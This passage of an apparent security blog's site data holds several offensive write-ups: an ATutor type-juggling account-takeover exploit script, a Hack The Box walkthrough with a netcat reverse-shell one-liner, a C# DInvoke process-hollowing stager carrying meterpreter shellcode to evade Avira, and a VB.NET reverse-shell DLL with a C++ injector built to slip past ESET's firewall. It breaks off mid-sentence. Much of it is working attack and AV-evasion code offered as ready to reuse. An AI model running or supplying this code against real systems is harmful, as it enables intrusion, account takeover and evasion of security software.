(here: blind) RCE. Note that netcat is not present on the server so we have to use bash. I used a base64 encoded payload for a reverse shell.\nAlso I think it is possible to use the COPY statement in order to write files to the server, which could be used to write a php shell for example, but I leave this up to you to try it out.\n","date":"16 August 2024","externalUrl":null,"permalink":"/writeups/bmdyy-tudo/","section":"Writeups","summary":"An OSWE-style source code review of the tudo web app, ending in a single all-in-one exploit script.","title":"bmdyy/tudo","type":"writeups"},{"content":"","date":"16 August 2024","externalUrl":null,"permalink":"/tags/oswe/","section":"Tags","summary":"","title":"OSWE","type":"tags"},{"content":"","date":"16 August 2024","externalUrl":null,"permalink":"/tags/source-code-review/","section":"Tags","summary":"","title":"Source Code Review","type":"tags"},{"content":"","date":"16 August 2024","externalUrl":null,"permalink":"/tags/sql-injection/","section":"Tags","summary":"","title":"SQL Injection","type":"tags"},{"content":"","date":"16 August 2024","externalUrl":null,"permalink":"/tags/ssti/","section":"Tags","summary":"","title":"SSTI","type":"tags"},{"content":"","date":"16 August 2024","externalUrl":null,"permalink":"/categories/writeups/","section":"Categories","summary":"","title":"Writeups","type":"categories"},{"content":"","date":"16 August 2024","externalUrl":null,"permalink":"/writeups/","section":"Writeups","summary":"","title":"Writeups","type":"writeups"},{"content":"","date":"2 January 2024","externalUrl":null,"permalink":"/tags/jinja2/","section":"Tags","summary":"","title":"Jinja2","type":"tags"},{"content":"There are many pages/blogs talking about the authenticated SSTI vulnerability in ERPNext but all of them target the email template functionality. The generate_message_preview function is also vulnerable and exploitable as an authenticated user.\nBelow you can see the source code of the said function:\nOn line 403 we can see the \u0026ldquo;whitelist\u0026rdquo; directive which simply means that this function can be called from a web request. However because the allow_guest = True parameter is not passed, this method can only be called from authenticated users.\nOn the image we can also see that the method accepts an optional parameter, named message and that this parameter is passed directly to the frappe.render_template method on line 407. The render_template method is responsible for parsing and rendering the input and it is also the root cause of the SSTI vulnerability. But this has already been described many times in other posts.\nIn our case, in order to exploit the generate_message_preview function, we need to reach line 407 without errors and to do so we have to specify a valid reference_dt and reference_doc parameter. If we go to the definition of the frappe.get_doc method we see a very helpful example:\nIn specific, on line 726 of the frappe __init__.py file, we see an example on how to get an existing document and some sample parameters (keep in mind that the frappe framework follows the MVC model and refers to its internal building blocks as docs).\nIf we try to use the same parameters for our case scenario, we get an error simply because the specified ToDo task does not exist:\nTo move forward with our exploit, we can create a new ToDo task on the web UI and use it as our reference:\nNote that the following web request contains the exact todo ID as the one shown on the URL from the previous screenshot:\nThis time, there are no errors thrown and our SSTI payload gets executed.\n","date":"2 January 2024","externalUrl":null,"permalink":"/writeups/ssti-in-erpnext-12/","section":"Writeups","summary":"Server-side template injection in ERPNext 12 leading to RCE.","title":"SSTI in ERPNext 12","type":"writeups"},{"content":"","date":"1 January 2024","externalUrl":null,"permalink":"/tags/account-takeover/","section":"Tags","summary":"","title":"Account Takeover","type":"tags"},{"content":"There are several vulnerabilities in ATutor 2.2.1 and a lot of them are discussed in OSWE. In this post I will describe a way to exploit a type juggling vulnerability in order to update/change the password of an existing user by knowing the user id. By default the id is an increasing number starting from 1, so it is 1 for the first user, 2 for the second etc. This specific exploit I am going to describe is not discussed in OSWE, however it is based on type juggling which is covered in the course.\nBefore we begin, you can check out this article for how to setup ATutor 2.2.1 on a VM (personally I used docker with an ubuntu 14 server image). https://infosam.medium.com/oswe-atutor-local-lab-setup-on-mac-m1-6fff66d31ce2\nYou can also download ATutor 2.2.1 from here: https://github.com/atutor/ATutor/releases/tag/atutor_2_2_1\nBy examining the code of the password_reminder.php file in the web root, we can get an idea of the internal mechanism that is used to process the password change request after a user has visitied the forgot password area of the application.\nSpecifically on line 72, an else if branch starts that checks if several request parameters are set. This is the branch that is taken when a user clicks the password reset link that was sent to the registered email:\nFirst, the app checks if \u0026rsquo;the link has expired\u0026rsquo; based on the value of g , however, since we control this value, this should be easy to bypass. Moving on, the app uses the value of the id parameter to check if the user exists and fetches the email and the password hash from the database. If the id corresponds to a valid user (and so the email value is not empty), it calculates a value stored in $hash_bit and compares it with the value of the paramter h (which is under our control). If the values do not match it throws an error. Let\u0026rsquo;s assume for a second that we can bypass this comparison in line 97 and avoid the error. In that case the code continues as below:\nStarting from line 114, we see that if the form_change parameter is set, and if the password_error is empty (which means that there are no error messages), we reach line 132 where the application fetches the new password from the form_password_hidden parameter and uses it to update the user\u0026rsquo;s password in the database (line 134-135).\nThis means that if we manage to somehow bypass the condition we saw previously in line 97, then we can set the desired values in the above parameters to update the password of the target user to an arbitrary hash we control.\nA common way to exploit type juggling in PHP is by (ab)using the exponential notation. This happens beacuse in php we can use the e letter to imply the mathematical exponential notation. For example, check these cases:\nIn our case, if we set the value of the h parameter (which we control directly) to zero (0) and we somehow force the value of $hash_bit to seem like an exponential notation representation (e.g. 0e49398498, 000e243423) then the comparing entities will be equal (0=0) so we will avoid entering the if statement which will result to an error. The hash_bit value is a substring of the $hash value which is the sha1 calculation of the sum of the values that are stored in the id and g parameters. By the way, only those two parameters are added, the value of $row['password'] which represents the hash is not accounted in practise. For example lets add the following line in our code to do some tests:\nAs you can see the sum we are getting is only derived from the values of id and g however that does not mean that the value of $row['password'] is empty:\nMoving forward, we will focus on this part of the code:\n$hash = sha1($_REQUEST[\u0026#39;id\u0026#39;] + $_REQUEST[\u0026#39;g\u0026#39;] + $row[\u0026#39;password\u0026#39;]); $hash_bit = substr($hash, 5, 15); Since we control both id and g we can try to use a certain pair of values that will cause $hash_bit to produce a value that will be a valid exponential notation that results to zero. This might sound like impossible but it is not! Also, in our case, we can bruteforce the values offline on our local system using python without having to rely on sending requests to the server. This yields results very fast, in less than a second. So for the id we will use the value of the target user, in our case this will be \u0026lsquo;1\u0026rsquo;. For g we can use any value we want in order to produce the desired hash, we just have to make sure that it will not trigger the \u0026rsquo;link expired\u0026rsquo; condition in line 79. We can use the following super simple python script to get a proper value for g that satisfies our criteria:\nimport hashlib, re, time def get_g(userid): tim = time.time() current = int(((tim / 60) / 60) / 24) # days after epoch start = current - 2 end = current - 2 + 100000 for g in range(start, end): val = str(userid + g) hash = hashlib.sha1((val).encode()).hexdigest() hashbit = hash[5:20] if re.match(r\u0026#39;0+[eE]\\d+$\u0026#39;, hashbit): print(\u0026#34;Hashbit: \u0026#34; + hashbit) break return g print(get_g(1)) If we run this we get the following value almost immediately:\nIndeed, the hashbit value we obtained seems to be a valid exponential notation representation that equals to zero. All we have to do now is to craft our request using those values and see if it works:\nOnce again, we use the id of the target user we want to update the password, g holds a value that will produce a hashbit that is a valid exponential notation representation that equals to zero, the h parameter is zero in order to be equal to the hashbit variable and satisfy the condition, form_change and password_error are set so that we reach the code in line 134 as we discussed earlier, and finally form_password_hidden contains the hash of a known SHA1 password (\u0026lsquo;user1\u0026rsquo;). Based on the response we can assume that the exploit worked so we can check the database:\nIndeed the password hash was updated to the desired value. We can create a full python script to automate the whole process:\ndef get_g(userid): tim = time.time() current = int(((tim / 60) / 60) / 24) # days after epoch start = current - 2 end = current - 2 + 100000 for g in range(start, end): val = str(userid + g) hash = hashlib.sha1((val).encode()).hexdigest() hashbit = hash[5:20] if re.match(r\u0026#39;0+[eE]\\d+$\u0026#39;, hashbit): break return g def exploit(userid, newpass): data1 = { \u0026#34;id\u0026#34;: userid, \u0026#34;g\u0026#34;: get_g(userid), \u0026#34;h\u0026#34;: \u0026#34;0\u0026#34;, \u0026#34;form_change\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;password_error\u0026#34;:\u0026#34;\u0026#34;, \u0026#34;form_password_hidden\u0026#34;: hashlib.sha1(newpass.encode()).hexdigest() } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } resp_obj = requests.post(\u0026#34;http://127.0.0.1/ATutor/password_reminder.php\u0026#34;, data=data1, headers=headers1) exploit(1, \u0026#34;user1\u0026#34;) This will change the password of user with id 1 to \u0026lsquo;user1\u0026rsquo;.\n","date":"1 January 2024","externalUrl":null,"permalink":"/writeups/atutor-account-take-over-using-type-juggling/","section":"Writeups","summary":"Abusing PHP loose comparison in ATutor’s password reset flow to take over an arbitrary account.","title":"ATutor account take over using type juggling","type":"writeups"},{"content":"","date":"1 January 2024","externalUrl":null,"permalink":"/tags/php/","section":"Tags","summary":"","title":"PHP","type":"tags"},{"content":"","date":"1 January 2024","externalUrl":null,"permalink":"/tags/type-juggling/","section":"Tags","summary":"","title":"Type Juggling","type":"tags"},{"content":"Let\u0026rsquo;s start with the usual nmap scan:\nAfter trying to visit http://10.10.11.232 we are redirected to \u0026lsquo;clicker.htb\u0026rsquo;, so let\u0026rsquo;s add it to the hosts file:\nSince nfs is running, we can try to see if we can mount the share:\nThe zip file seems to contain the source code for the website hosted on the same server:\nAfter examining the code, we can see that the save_game.php page can be used to edit some information about the current player by performing a SQL query. However there seems to be some protection in place to prevent changing the player role.\nSince the get parameter name will be used directly in the SQL query, we can use the following trick to avoid matching the \u0026lsquo;if\u0026rsquo; condition on line 8 of save_game.php and update our role. By using \u0026lsquo;role/**/\u0026rsquo; the query remains valid and the condition is not triggered. Source: https://portswigger.net/support/sql-injection-bypassing-common-filters.\nThe request is sent and the game is saved successfully:\nFor the new role to take effect, we need to logout and login again\nBy examining the admin functionality we can see that the get_top_players function is called. So basically any player with more than 1000000 clicks is shown on the dashboard.\nAlso there is an option to export the dashboard results to a file that will also be written to the server and its path is disclosed. Note here that the else condition will be used for any other extension including php, phtml etc.\nWe can simply store a php webshell in the nickname field so when the table of users with more than 1000000 clicks is exported, the webshell will be included in the content. Note that we also have to set the number of clicks to a value greater than 1000000.\nAfter storing the webshell in the nickname field we can sent the export request and choose an arbitrary file extension\nThe export file is created successfully and we also get the path and filename\nBy navigating to the target file we can use our webshell and achieve RCE\nOn my kali machine I like to run the command shown below. It copies to the clipboard a base64 encoded webshell and also sets up ncat\nlport=4444;echo -n \u0026#34;echo \u0026#34;$(echo \u0026#34;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2\u0026gt;\u0026amp;1|nc $(ip -o -4 addr list tun0 | awk \u0026#39;{print $4}\u0026#39; | cut -d/ -f1) $lport \u0026gt;/tmp/f\u0026#34; | base64 -w 0)\u0026#34; | base64 -d | bash\u0026#34; | xclip -sel clip; clear; rlwrap nc -lvp $lport After searching around in the filesystem we can see that in the /opt/manage directory there is a suid binary owned by jack who is a low privilege user in the box. First we can transfer this file to kali for examination to see if there is any way to exploit it.\nUsing IDA decompiler we can see that the file accepts some predefined arguments, however if no one of the predefined arguments is provided it fall-backs to \u0026lsquo;default\u0026rsquo;. In default it issues the same command as in the other cases, but the file is defined from the second argument. Also since \u0026lsquo;system\u0026rsquo; is used, directory traversal is possible.\nWe can run the command shown below to read jack\u0026rsquo;s private ssh key and login as jack to obtain the user flag\nWe can see that jack is allowed to run /opt/monitor.sh as root and set the environment. Since curl is run and it is known that it packs A LOT of features we can see how to abuse it to obtain root.\nFrom \u0026lsquo;man curl\u0026rsquo; we can see that we can set the \u0026lsquo;CURL_HOME\u0026rsquo; variable which can contain a \u0026lsquo;.curlrc\u0026rsquo; file with additional command line options.\nWe can create the following \u0026lsquo;.curlrc\u0026rsquo; file in \u0026lsquo;/home/jack\u0026rsquo;. This way the request will be intercepted by burp running on our kali (which means we will be able to alter the response) and the file will be saved to the predefined path with root rights. Essentially we have achieved arbitrary file write as root (we can also overwrite the /etc/passwd file and add a new root user)\nMake sure that burp proxy accepts connections from all interfaces\nAnd run the script as root while specifying the \u0026lsquo;CURL_HOME\u0026rsquo; env variable.\nForward the request but make sure to choose to intercept the response\nIn the response we just add our public key which is going to be added to root\u0026rsquo;s authorized_keys file\nThen we can simply ssh as root\n","date":"16 September 2023","externalUrl":null,"permalink":"/writeups/htb-clicker/","section":"Writeups","summary":"Hack The Box: Clicker, from NFS share to root.","title":"[HTB] Clicker","type":"writeups"},{"content":"","date":"16 September 2023","externalUrl":null,"permalink":"/tags/htb/","section":"Tags","summary":"","title":"HTB","type":"tags"},{"content":"","date":"16 September 2023","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"16 September 2023","externalUrl":null,"permalink":"/tags/privilege-escalation/","section":"Tags","summary":"","title":"Privilege Escalation","type":"tags"},{"content":"","date":"9 September 2023","externalUrl":null,"permalink":"/tags/av-evasion/","section":"Tags","summary":"","title":"AV Evasion","type":"tags"},{"content":"","date":"9 September 2023","externalUrl":null,"permalink":"/tags/csharp/","section":"Tags","summary":"","title":"C#","type":"tags"},{"content":"","date":"9 September 2023","externalUrl":null,"permalink":"/tags/dinvoke/","section":"Tags","summary":"","title":"DInvoke","type":"tags"},{"content":"","date":"9 September 2023","externalUrl":null,"permalink":"/tags/meterpreter/","section":"Tags","summary":"","title":"Meterpreter","type":"tags"},{"content":"","date":"9 September 2023","externalUrl":null,"permalink":"/tags/process-hollowing/","section":"Tags","summary":"","title":"Process Hollowing","type":"tags"},{"content":"In a previous post I described how to create a stager executable that implements DInvoke and can achieve an undetected meterpreter session with the help of a python server. Since the results where very promising regarding the detection rates and the session was not detected even after loading external modules such as kiwi, I decided to do some extra modifications and tests.\nA very interesting result came by implementing process hollowing using DInvoke in order to bypass both the \u0026lsquo;Antivirus\u0026rsquo; as well as the \u0026lsquo;IDS/Firewall\u0026rsquo; part of Avira Internet Security. The thing is, that, Avira IS by default will block internet access to applications that are considered \u0026lsquo;Not Trusted\u0026rsquo;, such as not signed or well known executables. For this reason the user has to specifically click \u0026lsquo;Allow\u0026rsquo; for the connection to take place so as to obtain a meterpreter session (after clicking \u0026lsquo;Allow\u0026rsquo; the session is established and operates unhindered).\nThe good news is that this can easily be bypassed by implementing process hollowing or shellcode injection using DInvoke. In this post I will demonstrate how to use the process hollowing technique since shellcode injection is rather simple.\nIf you want to understand how process hollowing works you can see this post and this for a basic example of DInvoke.\nThis time I have combined the required code files from RastaMouse\u0026rsquo;s repo into a single project so as to build a single executable and avoid the overhead of embedding the DLLs to the final program. If you want to reduce the surface even further you can remove methods that have zero references.\nThe main part of the program can be seen below. As always there are comments to explain the main steps:\nusing System; using System.Runtime.InteropServices; using System.IO; namespace Stager_DInvoke_ManualMap { internal class Program { //****************************************************** //Structures and delegations are removed for ease of viewing //For the complete source check the github repo at the end //****************************************************** static void Main(string[] args) { PE.PE_MANUAL_MAP kern32DLL = new PE.PE_MANUAL_MAP(); kern32DLL = Map.MapModuleToMemory(@\u0026#34;C:\\Windows\\System32\\kernel32.dll\u0026#34;); PE.PE_MANUAL_MAP ntdllDLL = new PE.PE_MANUAL_MAP(); ntdllDLL = Map.MapModuleToMemory(@\u0026#34;C:\\Windows\\System32\\ntdll.dll\u0026#34;); var pa = new SECURITY_ATTRIBUTES(); var ta = new SECURITY_ATTRIBUTES(); var si = new STARTUPINFOEX(); si.StartupInfo.cb = (uint)Marshal.SizeOf(si); var pi = new PROCESS_INFORMATION(); //Note the sixth value CREATE_SUSPENDED //According to https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags: //\u0026#34;The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called.\u0026#34; //Avoid svchost.exe, explorer.exe etc object[] parameters = { @\u0026#34;C:\\Program Files\\7-Zip\\7zFM.exe\u0026#34;, null, pa, ta, true, (uint)PROCESS_CREATION_FLAGS.CREATE_SUSPENDED, IntPtr.Zero, Directory.GetCurrentDirectory(), si, pi}; Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;CreateProcessW\u0026#34;, typeof(CreateProcessWD), parameters, false); //Since we are using dynamic invocation we have to repopulate the structure with the returned value from CreateProcessW pi = (PROCESS_INFORMATION)parameters[9]; PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION(); uint tmp = 0; IntPtr hProcess = pi.hProcess; //The third argument, bi (PROCESS_BASIC_INFORMATION) structure, will be populated with the PEB address object[] zqparameters = { hProcess, 0, bi, (uint)(IntPtr.Size * 6), tmp }; Generic.CallMappedDLLModuleExport(ntdllDLL.PEINFO, ntdllDLL.ModuleBase, \u0026#34;ZwQueryInformationProcess\u0026#34;, typeof(ZwQueryInformationProcessD), zqparameters, false); //Again due to DInvoke we have to repopulate the structure with the returned value from ZwQueryInformationProcess bi = (PROCESS_BASIC_INFORMATION)zqparameters[2]; //This is a pointer to the location where the process base address is stored IntPtr PtrToProcBase = (IntPtr)((Int64)bi.PebAddress + 0x10); //We read the value pointed to by PtrToProcBase in order to get the process base address byte[] tempbuf = new byte[IntPtr.Size]; IntPtr nRead = IntPtr.Zero; object[] rpparameters = { hProcess, PtrToProcBase, tempbuf, tempbuf.Length, nRead }; Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;ReadProcessMemory\u0026#34;, typeof(ReadProcessMemoryD), rpparameters, false); IntPtr targetProcBase = (IntPtr)(BitConverter.ToInt64(tempbuf, 0)); //We add 0x3C to the base address and read the value in order to get the offset of the PE headers from the process base address byte[] tempbuf1 = new byte[IntPtr.Size]; object[] rp2parameters = { hProcess, targetProcBase + 0x3C, tempbuf1, tempbuf1.Length, nRead }; Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;ReadProcessMemory\u0026#34;, typeof(ReadProcessMemoryD), rp2parameters, false); Int32 OffsetOfPEHeaders = BitConverter.ToInt32(tempbuf1, 0); // We add 0x28 to the PE headers and read the value in order to get the offset of the entry point byte[] tempbuf2 = new byte[IntPtr.Size]; object[] rp3parameters = { hProcess, targetProcBase + OffsetOfPEHeaders + 0x28, tempbuf2, tempbuf2.Length, nRead }; Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;ReadProcessMemory\u0026#34;, typeof(ReadProcessMemoryD), rp3parameters, false); uint OffsetOfEntryPoint = BitConverter.ToUInt32(tempbuf2, 0); //Now that we have the offset of the EntryPoint we can add it to the process base address to get the absolute address IntPtr pEntryPoint = (IntPtr)(OffsetOfEntryPoint + (UInt64)targetProcBase); //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth0 LPORT=443 -f csharp //TRUNCATED byte[] buf = new byte[740] {0xfc,0x48,0x83,0xe4,0xf0,0xe8, 0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31, 0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b 0xff,0xd5}; object[] wpparameters = { hProcess, pEntryPoint, buf, buf.Length, nRead }; Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;WriteProcessMemory\u0026#34;, typeof(WriteProcessMemoryD), wpparameters, false); //Resume thread will essentially invoke the shellcode object[] rtparameters = { pi.hThread }; Generic.CallMappedDLLModuleExport(kern32DLL.PEINFO, kern32DLL.ModuleBase, \u0026#34;ResumeThread\u0026#34;, typeof(ResumeThreadD), rtparameters, false); Console.ReadLine(); } } } Make sure to choose the target process wisely because common options such as explorer and svchost get detected. As for today the plain shellcode compiled within the exe is not detected, but if it does, you can use the metasploit encoders or custom encryption \u0026amp; decryption within the program. I used the reverse_https payload with a custom certificate. You can generate your own using the following commands in kali: openssl req -new -x509 -nodes -out cert.crt -keyout priv.key cat priv.key cert.crt \u0026gt; mycert.pem #Edit /etc/ssl/openssl.cnf and change this \u0026#39;CipherString=DEFAULT@SECLEVEL=2\u0026#39; to \u0026#39;CipherString=DEFAULT\u0026#39; msfconsole -q -x \u0026#34;use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_https; set lport 443; set HandlerSSLCert /home/path/to/mycert.pem; set lhost eth0; exploit\u0026#34; PoC # https://github.com/k4z01/ProcessHollowing-DInvoke\n","date":"9 September 2023","externalUrl":null,"permalink":"/posts/dinvoke-process-hollowing-bypass-av-and-firewall/","section":"Posts","summary":"Combining DInvoke with process hollowing to defeat both the AV and the interactive firewall of Avira Internet Security.","title":"Use DInvoke \u0026 Process Hollowing to bypass AV and Firewall","type":"posts"},{"content":"In this post I will describe how to use DLL injection to bypass the firewall of various Windows AV solutions. The majority of the typical home-user oriented firewall software determine whether to allow an application to establish remote connections (either inbound or outbound) by several critiria such as whether the application is digitally signed, who is the developer, what it the reputation of the file in the antivirus\u0026rsquo; rating system database, whether the device is connected to a Home or Public network etc. However, in most cases, only the application itself is checked against these conditions and the loaded (or injected) libraries are ignored. Therefore, when a rule is created that allows an application to establish remote connections, the DLLs that are used by the application inherit the same rules. By using DLL injection an attacker can create a malicious DLL and inject it to another process which is already allowed through the firewall, so as to establish remote connections unhindered. In other words, due to the fact that the firewall does not differrentiate the DLL and the application, it is possbile to gain the same \u0026lsquo;firewall privileges\u0026rsquo; as the target application.\nBased on this observation, the idea is to create a malicious DLL (VB.NET) that acts as a reverse shell and use a DLL Injector (C++) to inject it to a legit application such as \u0026lsquo;PuTTY\u0026rsquo; on a system that runs ESET Smart Security with firewall set to interactive mode (of course any other mode will work as long as the target application is allowed through the firewall).\nFor the DLL I used the code shown below, which is very simple but effective and most importantly undetected:\nImports System.Runtime.InteropServices Imports RGiesecke.DllExport Imports System.Net.Sockets Imports System.Text Imports System.Threading Public Module Mod11 Dim ShClient As New Net.Sockets.TcpClient Dim DataStream As NetworkStream \u0026lt;DllExport(\u0026#34;RemShell\u0026#34;)\u0026gt; Public Sub RemShell() Try ShClient.Connect(\u0026#34;192.168.71.129\u0026#34;, 9990) Dim RecvThr As New Thread(AddressOf ShRecv) RecvThr.Start() Catch ex As Exception : End Try End Sub Sub SendData(ByVal msg As String) Dim SendBytes As Byte() SendBytes = Encoding.ASCII.GetBytes(msg) DataStream = ShClient.GetStream DataStream.Write(SendBytes, 0, SendBytes.Length) End Sub Sub ShRecv() Do Dim ReceivedText As String = Nothing Dim ReceiveBytes(1023) As Byte Dim BytesReceived As Integer Do DataStream = ShClient.GetStream BytesReceived = DataStream.Read(ReceiveBytes, 0, ReceiveBytes.Length) If Not Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived).EndsWith(vbLf) Then ReceivedText = ReceivedText \u0026amp; Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived) Else Dim temp As String = Encoding.ASCII.GetString(ReceiveBytes, 0, BytesReceived) Dim Array() As String = Split(temp, vbLf) ReceivedText = ReceivedText \u0026amp; Array(0) CMDOutput(ReceivedText) Exit Do End If Loop Loop End Sub Sub CMDOutput(ByVal cmd As String) Dim p As New Process() p.StartInfo.FileName = \u0026#34;cmd.exe\u0026#34; p.StartInfo.Arguments = \u0026#34;/c \u0026#34; \u0026amp; cmd p.StartInfo.RedirectStandardError = True p.StartInfo.RedirectStandardOutput = True p.EnableRaisingEvents = True p.StartInfo.CreateNoWindow = True p.StartInfo.UseShellExecute = False AddHandler p.ErrorDataReceived, AddressOf proc_OutputDataReceived AddHandler p.OutputDataReceived, AddressOf proc_OutputDataReceived Try p.Start() p.BeginErrorReadLine() p.BeginOutputReadLine() p.WaitForExit() Catch ex As Exception SendData(\u0026#34;Error: \u0026#34; \u0026amp; ex.Message) End Try End Sub Public Sub proc_OutputDataReceived(ByVal sender As Object, ByVal e As DataReceivedEventArgs) SendData(e.Data \u0026amp; vbLf) End Sub End Module Some notes:\nWe have to install the UnmanagedExports nuget package by Robert Giesecke (also have to install .NET Framework 3.5 and MS Build Tools 2015) in order export the DLL\u0026rsquo;s function natively so it can be used by the injector: You can include any code you wish on the DLL, even implement a whole RAT, however you should avoid mainstream ideas like invoking metasploit shellcodes beacuse the resulting DLL will be detected by the AV and it won\u0026rsquo;t be allowed to run. At this point feel free to try encryption/packing/obfuscation techniques to bypass the AV.\nFor the next part we have to create the injector. The steps we have to follow in order to perform the DLL injection and invoke a remote function are the following:\nCall the \u0026lsquo;LoadLibraryA\u0026rsquo; function from the target process and load our malicious DLL to its address space:\nGet the address of the \u0026lsquo;LoadLibraryA\u0026rsquo; function from the injector app itself (it will be the same for the target process) Allocate a new memory region inside the target process\u0026rsquo; address space to write the path of our DLL Write the path of our DLL to the target process\u0026rsquo; newly allocated memory region. This will be defined later as the argument of the \u0026lsquo;LoadLibraryA\u0026rsquo; function Call \u0026lsquo;LoadLibraryA\u0026rsquo; from the target process Calculate the offset between the base of the DLL and the exported function and use \u0026lsquo;CreateRemoteThread\u0026rsquo; to call it on the target process:\nGet the base address of the injected DLL in the target process Load the DLL in the injector app itself Use \u0026lsquo;GetProcAddress\u0026rsquo; to get the address of the exported function (in our case \u0026lsquo;RemShell\u0026rsquo;) from the injector app Calculate the offset of the function from the base of the DLL Add this offset to the base of the injected DLL we got earlier Use \u0026lsquo;CreateRemoteThread\u0026rsquo; on this address on the target application The code of the injector can be seen below:\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string\u0026gt; #include \u0026lt;windows.h\u0026gt; #include \u0026lt;cassert\u0026gt; LPVOID GetPayloadExportAddr(LPCWSTR lpPath, HMODULE hPayloadBase, LPCSTR lpFunctionName) { // Load the DLL in the virtual address space of this injector HMODULE hLoaded = LoadLibrary(lpPath); if (hLoaded == NULL) { return NULL; } else { // Use \u0026#39;GetProcAddress\u0026#39; to get the address of the exported function (in our case RemShell) LPVOID lpFunc = (LPVOID)GetProcAddress(hLoaded, lpFunctionName); // Calculate the offset of the exported function from the base of the DLL DWORD dwOffset = (char*)lpFunc - (char*)hLoaded; FreeLibrary(hLoaded); // Add this offset to the base of the injected DLL we got earlier LPVOID final = LPVOID((DWORD)hPayloadBase + dwOffset); return final; } } BOOL InitPayload(HANDLE hProcess, LPCWSTR lpPath, HMODULE hPayloadBase, HWND hwndDlg) { LPVOID lpInit = GetPayloadExportAddr(lpPath, hPayloadBase, \u0026#34;RemShell\u0026#34;); if (lpInit == NULL) { return FALSE; } else { // Use \u0026#39;CreateRemoteThread\u0026#39; on the calculated address on the target application HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpInit, hwndDlg, 0, NULL); if (hThread == NULL) { return FALSE; } else { CloseHandle(hThread); } } return TRUE; } int main(int argc, char* argv[]) { // Start \u0026#39;PuTTY\u0026#39; and get the PID based on the window title system(\u0026#34;start C:\\\\Users\\\\john\\\\Desktop\\\\putty.exe\u0026#34;); Sleep(2000); LPCWSTR windowName = L\u0026#34;PuTTY Configuration\u0026#34;; HWND windowHandle = FindWindowW(NULL, windowName); DWORD* processID = new DWORD; GetWindowThreadProcessId(windowHandle, processID); std::wcout \u0026lt;\u0026lt; L\u0026#34;Process ID of \u0026#34; \u0026lt;\u0026lt; windowName \u0026lt;\u0026lt; L\u0026#34; is: \u0026#34; \u0026lt;\u0026lt; *processID \u0026lt;\u0026lt; std::endl; if (processID != 0) { // Path of the target DLL to be injected const char* buffer = \u0026#34;C:\\\\Users\\\\john\\\\Desktop\\\\VBDLL\\\\VBDLL\\\\bin\\\\x86\\\\Release\\\\VBDLL.dll\u0026#34;; int procID = *processID; HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID); if (process == NULL) { printf(\u0026#34;Couldn\u0026#39;t find the specified process\\n\u0026#34;); exit(EXIT_FAILURE); } // Get the address of the \u0026#39;LoadLibraryA\u0026#39; function from this injector app (it will be the same for the target process) LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L\u0026#34;kernel32.dll\u0026#34;), \u0026#34;LoadLibraryA\u0026#34;); if (addr == NULL) { printf(\u0026#34;Couldn\u0026#39;t find the LoadLibraryA function\\n\u0026#34;); exit(EXIT_FAILURE); } // Allocate a new memory region inside the target process\u0026#39; address space to write the path of our DLL LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (arg == NULL) { printf(\u0026#34;Couldn\u0026#39;t allocate memory inside the chosen process\\n\u0026#34;); exit(EXIT_FAILURE); } // Write the path of our DLL to the target process\u0026#39; newly allocated memory region // This will be defined later as the argument of the LoadLibraryA function int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL); if (n == 0) { printf(\u0026#34;Couldn\u0026#39;t write to the target process\u0026#39; address space\\n\u0026#34;); exit(EXIT_FAILURE); } // Call \u0026#39;LoadLibraryA\u0026#39; from the target process to force load our DLL HANDLE hThread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL); if (hThread == NULL) { printf(\u0026#34;Couldn\u0026#39;t create the remote thread\\n\u0026#34;); exit(EXIT_FAILURE); } // hInjected is the base address of the injected DLL HMODULE hInjected; if (hThread != 0) { WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread, (LPDWORD)\u0026amp;hInjected); CloseHandle(hThread); BOOL test = InitPayload(process, L\u0026#34;C:\\\\Users\\\\john\\\\Desktop\\\\VBDLL\\\\VBDLL\\\\bin\\\\x86\\\\Release\\\\VBDLL.dll\u0026#34;, hInjected, NULL); } else { exit(EXIT_FAILURE); } getchar(); CloseHandle(process); return 0; } } Some notes:\nIn the injector we can also implement any additonal features we want, such as to search for applications that will most likely be allowed to access the internet, check which AV is run, compile the DLL dynamically etc. IF you want to call a specific DLL function, like in this example, the above code works only for 32-bit. If you want to target a 64-bit application you cannot use a specific exported DLL function, but you can place your code in DLLMain and it will be executed after the remote call to \u0026lsquo;LoadLibraryA\u0026rsquo;. In essence for the injection to take place all we need is a target process, so if the target application is not already running we can simply launch a hidden instance. Let\u0026rsquo;s test it in action:\nFirst start a listening netcat server:\nThen start the injector application, which will start \u0026lsquo;PuTTY\u0026rsquo; and inject the DLL:\nAs you can see the DLL is injected and the firewall, which is set to interactive mode, asks whether to allow \u0026lsquo;PuTTY\u0026rsquo; to connect or not. Supossing that the victim has already used the target application once and that it has 